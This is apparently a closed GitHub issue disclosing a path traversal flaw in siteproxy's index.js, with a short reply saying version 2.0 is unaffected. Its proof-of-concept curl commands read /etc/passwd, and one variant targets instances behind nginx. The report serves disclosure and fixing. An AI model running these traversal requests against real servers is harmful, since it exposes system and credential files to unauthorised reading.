Closed kdxcxs closed 9 months ago
There is no path traversal chek in index.js when sending local files, so it's possible to read any file by path traversal.
poc: curl --path-as-is http://siteproxy.your.domain.name/../../../etc/passwd
curl --path-as-is http://siteproxy.your.domain.name/../../../etc/passwd
For instances proxied by nginx:
curl --path-as-is http://siteproxy/\?/../../../../../etc/passwd
doesn't exist on siteproxy2.0
There is no path traversal chek in index.js when sending local files, so it's possible to read any file by path traversal.
poc:
curl --path-as-is http://siteproxy.your.domain.name/../../../etc/passwd